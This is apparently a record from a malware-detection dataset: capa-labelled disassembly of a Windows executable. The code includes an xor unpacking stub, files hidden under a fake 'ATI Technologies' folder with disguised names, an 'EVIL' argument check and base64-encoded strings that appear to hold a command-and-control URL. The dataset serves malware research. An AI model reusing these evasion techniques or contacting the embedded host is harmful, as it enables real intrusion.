joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x421004]
jne 0x40100a
repz ret
jmp fcn.004012fe

Function at 0x40477b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x421004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403b09
and dword [ebp - 0x14], 0
cmp dword [0x423930], 0
mov dword [ebp - 0x18], eax
jne 0x40482e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4048d6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4048d6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x423930], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x423934], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x423938], eax
call edi
push eax
call esi
mov dword [0x423940], eax
test eax, eax
je 0x40482e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42393c], eax
mov eax, dword [0x42393c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x404887
cmp dword [0x423940], ecx
je 0x404887
push eax
call esi
push dword [0x423940]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x404887
test ebx, ebx
je 0x404887
call edi
test eax, eax
je 0x40487e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40487e
test byte [ebp - 8], 1
jne 0x404887
or dword [ebp + 0x10], 0x200000
jmp 0x4048ba
mov eax, dword [0x423934]
cmp eax, dword [ebp - 0x18]
je 0x4048ba
push eax
call esi
test eax, eax
je 0x4048ba
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4048ba
mov eax, dword [0x423938]
cmp eax, dword [ebp - 0x18]
je 0x4048ba
push eax
call esi
test eax, eax
je 0x4048ba
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x423930]
call esi
test eax, eax
je 0x4048d6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4048d8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x39701b04
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x6ca11e62
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x4010d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 0xc]
movzx ecx, word [esp + 8]
push esi
push edi
mov edi, dword [esp + 0xc]
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x4010f5
pop edi
xor al, al
pop esi
ret 0x14
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
test ebp, ebp
jne 0x40110c
pop ebp
pop edi
xor al, al
pop esi
ret 0x14
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
ja 0x401124
pop ebx
pop ebp
pop edi
xor al, al
pop esi
ret 0x14
mov edi, dword [esp + 0x20]
test edi, edi
jne 0x40113b
mov edx, dword [esp + 0x24]
mov dword [edx], ebx
pop ebx
pop ebp
pop edi
mov al, 1
pop esi
ret 0x14
mov eax, dword [esp + 0x24]
cmp dword [eax], ebx
jb 0x40111b
push ebp
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x40111b
mov ecx, ebx
mov edx, ecx
shr ecx, 2
mov esi, eax
rep movsd dword es:[edi], dword [esi]
pop ebx
mov ecx, edx
and ecx, 3
pop ebp
rep movsb byte es:[edi], byte [esi]
pop edi
mov al, 1
pop esi
ret 0x14

Function at 0x4014a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push edi
push 2
push 0
xor bl, bl
push eax
mov byte [esp + 0x17], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
test edi, edi
je 0x401551
movzx ecx, word [esp + 0x18]
push esi
push 3
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x40153f
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40153f
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test ebp, ebp
je 0x40153e
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x40153e
mov edx, dword [esp + 0x1c]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
je 0x40153e
movzx eax, word [esp + 0x24]
push ebp
push ebx
push 0
push eax
push 3
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
test eax, eax
je 0x40153e
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
test eax, eax
je 0x40153e
mov byte [esp + 0x13], 1
pop ebp
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [esp + 0xf]
pop esi
pop edi
pop ebx
pop ecx
ret 0x10
pop edi
mov al, bl
pop ebx
pop ecx
ret 0x10
Function at 0x402800
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0xc
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
test esi, esi
je 0x40282a
cmp dword [esp + 0xc], 5
je 0x402831
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop esi
add esp, 0xc
ret
mov ecx, dword [esi + 0x10]
push edi
push ecx
call fcn.004027b0
add esp, 4
mov edi, eax
push str.EVIL
push edi
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x40286c
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call fcn.0040e3a2
add esp, 4
pop edi
xor al, al
pop esi
add esp, 0xc
ret
mov edx, dword [esi + 4]
push ebx
push ebp
push edx
call fcn.004027b0
mov ebx, eax
mov eax, dword [esi + 8]
push eax
call fcn.004027b0
mov ecx, dword [esi + 0xc]
push ecx
mov ebp, eax
call fcn.004027b0
mov edi, dword [esp + 0x2c]
mov dl, byte [ebx]
add esp, 0xc
mov dword [esp + 0x10], eax
push ebp
lea eax, [edi + 1]
push eax
mov byte [edi], dl
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x10]
push ecx
lea edx, [edi + 0x105]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x14]
push eax
add edi, 0x209
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
call fcn.0040e3a2
push ebp
call fcn.0040e3a2
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0040e3a2
mov edx, dword [esp + 0x20]
push edx
call fcn.0040e3a2
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
pop ebx
pop edi
mov al, 1
pop esi
add esp, 0xc
ret

Function at 0x402900
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4174e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9d4
mov eax, dword [0x41f608]
push ebx
push esi
mov dword [ebp - 0x14], eax
push edi
lea eax, [ebp - 0x9cc]
mov dword [ebp - 0x10], esp
push eax
call fcn.00402800
add esp, 4
test al, al
je 0x402974
lea ecx, [ebp - 0x9cc]
push ecx
lea ecx, [ebp - 0x6f8]
call fcn.00407c30
lea ecx, [ebp - 0x6f8]
mov dword [ebp - 4], 0
call fcn.00409510
push 0xb5
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
lea ecx, [ebp - 0x9d8]
call fcn.0040aa80
push 0x64
call esi
lea ecx, [ebp - 0x9dc]
call fcn.00406fe0
push 0x64
call esi
lea ecx, [ebp - 0x9d4]
call fcn.00407be0
push 0x66
call esi
lea ecx, [ebp - 0x9e0]
call fcn.0040b740
push 0x65
call esi
push str.UYBLAX1CMALERDaHR0cDovL3RoZXdvcmxkbmV3cy5ieWV0aG9zdDUuY29tL29ubGluZS5waHA
push str.UUXCBBDME9DaHR0cDovL3RoZXdvcmxkbmV3cy5ieWV0aG9zdDUuY29tL29ubGluZS5waHA
lea ecx, [ebp - 0x424]
call fcn.00405170
push 0x66
call esi
lea ecx, [ebp - 0x424]
call fcn.00406a80
push 0x64
call esi
lea ecx, [ebp - 0x9d0]
call fcn.00409f10
lea ecx, [ebp - 0x9d0]
mov dword [ebp - 4], 2
call fcn.00409c00
lea ecx, [ebp - 0x424]
mov dword [ebp - 4], 0xffffffff
call fcn.00406990
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
xor eax, eax
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402a40
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret 4
Function at 0x403e50
Capabilities:
Get file size
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 0
push 0x1f01ff
push eax
call esi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403e7f
pop esi
xor al, al
pop ebx
ret 8
mov ecx, dword [esp + 0x10]
push edi
push 0
push 0x80
push 2
push 0
push 0
push 0x1f01ff
push ecx
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x403eaf
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebx
ret 8
push ebp
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
mov ebp, eax
push ebp
push 0
push 4
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x403ee3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop edi
pop esi
xor al, al
pop ebx
ret 8
push ebp
push 0
push 0
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
push ebp
push esi
push esi
call fcn.004037a0
add esp, 0xc
push 0
lea edx, [esp + 0x18]
push edx
push eax
push esi
push edi
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
push ebx
call esi
push edi
call esi
pop ebp
pop edi
pop esi
mov al, 1
pop ebx
ret 8

Function at 0x403f40
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 3
push 0
push 1
push 0x1f01ff
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403f6b
xor eax, eax
pop esi
ret 0xc
push 0
push esi
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [esp + 0x10], eax
jb 0x403f96
mov edx, dword [esp + 0xc]
push 0
lea ecx, [esp + 0xc]
push ecx
push eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 8]
pop esi
ret 0xc

Function at 0x403fb0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x10
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x1f01ff
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403fe1
xor al, al
pop esi
add esp, 0x10
ret 4
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0xf
lea edx, [esp + 0x10]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x18], 0xf
jne 0x403fd8
cmp dword [esp + 4], 0xe133234a
sete al
pop esi
add esp, 0x10
ret 4
Function at 0x404020
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0xc
push esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404051
xor al, al
pop esi
add esp, 0xc
ret 4
push 0
lea ecx, [esp + 0x18]
push ecx
push 0xc
lea edx, [esp + 0x10]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x14], 0xc
jne 0x404048
cmp dword [esp + 4], 0xff5182ee
sete al
pop esi
add esp, 0xc
ret 4
Function at 0x404090
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0xf8
mov eax, dword [0x41f608]
push ebp
push 0
push 0x80
push 3
push 0
push 1
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x114]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x404259
push ebx
push esi
push edi
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edi, [ebx + 0xa]
push edi
call fcn.0040e390
mov ecx, edi
mov edx, ecx
mov esi, eax
shr ecx, 2
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
add esp, 4
test esi, esi
rep stosb byte es:[edi], al
jne 0x404124
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
pop ebp
mov ecx, dword [esp + 0xf4]
call fcn.0040e486
add esp, 0xf8
ret 8
push 0
lea eax, [esp + 0x14]
push eax
push ebx
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor ecx, ecx
mov dword [esp + 0x15], edx
mov dword [esp + 0x39], ecx
mov dword [esp + 0x19], edx
mov dword [esp + 0x3d], ecx
mov dword [esp + 0x1d], edx
mov dword [esp + 0x41], ecx
mov dword [esp + 0x21], edx
mov dword [esp + 0x45], ecx
mov dword [esp + 0x25], edx
mov dword [esp + 0x49], ecx
mov dword [esp + 0x29], edx
mov dword [esp + 0x4d], ecx
mov dword [esp + 0x2d], edx
lea eax, [esp + 0x54]
mov byte [esp + 0x51], cl
mov byte [esp + 0x14], cl
mov dword [esp + 0x31], edx
push eax
lea ecx, [esp + 0xb0]
mov byte [esp + 0x3c], 0
mov word [esp + 0x39], dx
call fcn.00402a40
push ebx
push esi
lea ecx, [esp + 0x5c]
push ecx
lea ecx, [esp + 0xb8]
call fcn.00403340
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0xb4]
call fcn.00403410
push esi
call fcn.0040e3a2
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], ecx
add esp, 4
mov byte [esp + 0x34], cl
xor esi, esi
lea edi, [esp + 0x14]
jmp 0x404200
movzx edx, byte [esp + esi + 0x38]
push edx
push str._02x
push edi
call fcn.0040e494
add esp, 0xc
inc esi
add edi, 2
cmp esi, 0x10
jl 0x404200
mov eax, dword [esp + 0x110]
xor ecx, ecx
mov edx, eax
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
mov dword [edx + 0x14], ecx
mov dword [edx + 0x18], ecx
mov dword [edx + 0x1c], ecx
mov byte [edx + 0x20], cl
push 0x20
lea ecx, [esp + 0x18]
push ecx
push eax
call fcn.0040e9f0
add esp, 0xc
mov al, 1
jmp 0x40410b
mov ecx, dword [esp + 0xf8]
xor al, al
pop ebp
call fcn.0040e486
add esp, 0xf8
ret 8
Function at 0x404280
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x14
mov eax, dword [0x41f608]
push esi
mov esi, dword [esp + 0x1c]
push edi
mov dword [esp + 0x18], eax
xor eax, eax
mov ecx, 0x41
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, dword [0x4183e8]
mov eax, dword [str.ProgramFiles]
mov edx, dword [0x4183ec]
push 0x104
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov al, byte [0x4183f0]
push esi
lea ecx, [esp + 0x10]
push ecx
mov dword [esp + 0x1c], edx
mov byte [esp + 0x20], al
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x4042e4
push str.C:Program_Files
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x18]
pop edi
xor al, al
pop esi
call fcn.0040e486
add esp, 0x14
ret 4

Function at 0x404300
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 3
push 0
push 1
push 0x1f01ff
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40432b
xor al, al
pop esi
ret 8
mov edx, dword [esp + 0xc]
push 0
lea ecx, [esp + 0xc]
push ecx
push 0xc
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 8], 0xc
sete al
pop esi
ret 8
Function at 0x4046e0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x46c
mov eax, dword [0x41f608]
push ebx
push esi
mov dword [esp + 0x470], eax
push edi
lea eax, [esp + 0x120]
push eax
mov dword [esp + 0x18], ecx
call fcn.00404280
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x41841c
lea ecx, [esp + 0x124]
push ecx
call esi
push str.ATI_Technologies
lea edx, [esp + 0x124]
push edx
call esi
push 0x41841c
lea eax, [esp + 0x124]
push eax
call esi
mov byte [esp + 0x228], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x229]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x120]
stosw word es:[edi], ax
push ecx
lea edx, [esp + 0x22c]
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x418420
lea eax, [esp + 0x22c]
push eax
call esi
lea ecx, [esp + 0x330]
push ecx
lea edx, [esp + 0x22c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4047a2
push eax
jmp 0x40483e
mov byte [esp + 0x18], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0x10], 0
nop
cmp byte [esp + 0x35c], 0x2e
jne 0x4047db
lea eax, [esp + 0x330]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
jmp 0x4047c0
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x120]
push ecx
lea edx, [esp + 0x1c]
push edx
call edi
lea eax, [esp + 0x35c]
push eax
lea ecx, [esp + 0x1c]
push ecx
call esi
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
call fcn.00403fb0
test al, al
jne 0x40485b
lea eax, [esp + 0x330]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x10], eax
jle 0x4047c0
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
xor al, al
mov ecx, dword [esp + 0x474]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp + 8]
lea ecx, [esp + 0x18]
push ecx
push edx
call edi
mov ecx, dword [esp + 0x474]
mov al, 1
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404890
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x46c
mov eax, dword [0x41f608]
push ebx
push esi
mov dword [esp + 0x470], eax
push edi
lea eax, [esp + 0x120]
push eax
mov dword [esp + 0x18], ecx
call fcn.00404280
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x41841c
lea ecx, [esp + 0x124]
push ecx
call esi
push str.ATI_Technologies
lea edx, [esp + 0x124]
push edx
call esi
push 0x41841c
lea eax, [esp + 0x124]
push eax
call esi
mov byte [esp + 0x228], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x229]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x120]
stosw word es:[edi], ax
push ecx
lea edx, [esp + 0x22c]
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str..zip
lea eax, [esp + 0x22c]
push eax
call esi
lea ecx, [esp + 0x330]
push ecx
lea edx, [esp + 0x22c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x404952
push eax
jmp 0x4049ee
mov byte [esp + 0x18], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0x10], 0
nop
cmp byte [esp + 0x35c], 0x2e
jne 0x40498b
lea eax, [esp + 0x330]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
jmp 0x404970
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x120]
push ecx
lea edx, [esp + 0x1c]
push edx
call edi
lea eax, [esp + 0x35c]
push eax
lea ecx, [esp + 0x1c]
push ecx
call esi
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
call fcn.00404020
test al, al
jne 0x404a0b
lea eax, [esp + 0x330]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x10], eax
jle 0x404970
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
xor al, al
mov ecx, dword [esp + 0x474]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp + 8]
lea ecx, [esp + 0x18]
push ecx
push edx
call edi
mov ecx, dword [esp + 0x474]
mov al, 1
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404ac0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x218
mov eax, dword [0x41f608]
push esi
mov dword [esp + 0x218], eax
push edi
lea eax, [esp + 8]
push eax
call fcn.00404280
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x41841c
lea ecx, [esp + 0xc]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea edx, [esp + 0xc]
push edx
call edi
push str.ATI_Technologies
lea eax, [esp + 0xc]
push eax
call esi
push 0x41841c
lea ecx, [esp + 0xc]
push ecx
call esi
push 0
lea edx, [esp + 0xc]
push edx
call edi
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 0x110]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.atmhebxx.hlx.zip
lea edx, [esp + 0x114]
push edx
call esi
push 0
push 0x80
push 2
push 0
push 0
push 0x1f01ff
lea eax, [esp + 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [esp + 0x21c]
call fcn.0040e486
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x404b90
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x218
mov eax, dword [0x41f608]
push esi
mov dword [esp + 0x218], eax
push edi
lea eax, [esp + 8]
push eax
call fcn.00404280
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x41841c
lea ecx, [esp + 0xc]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea edx, [esp + 0xc]
push edx
call edi
push str.ATI_Technologies
lea eax, [esp + 0xc]
push eax
call esi
push 0x41841c
lea ecx, [esp + 0xc]
push ecx
call esi
push 0
lea edx, [esp + 0xc]
push edx
call edi
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 0x110]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.atfaraxx.hlx.wav
lea edx, [esp + 0x114]
push edx
call esi
push 0
push 0x80
push 2
push 0
push 0
push 0x1f01ff
lea eax, [esp + 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [esp + 0x21c]
call fcn.0040e486
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4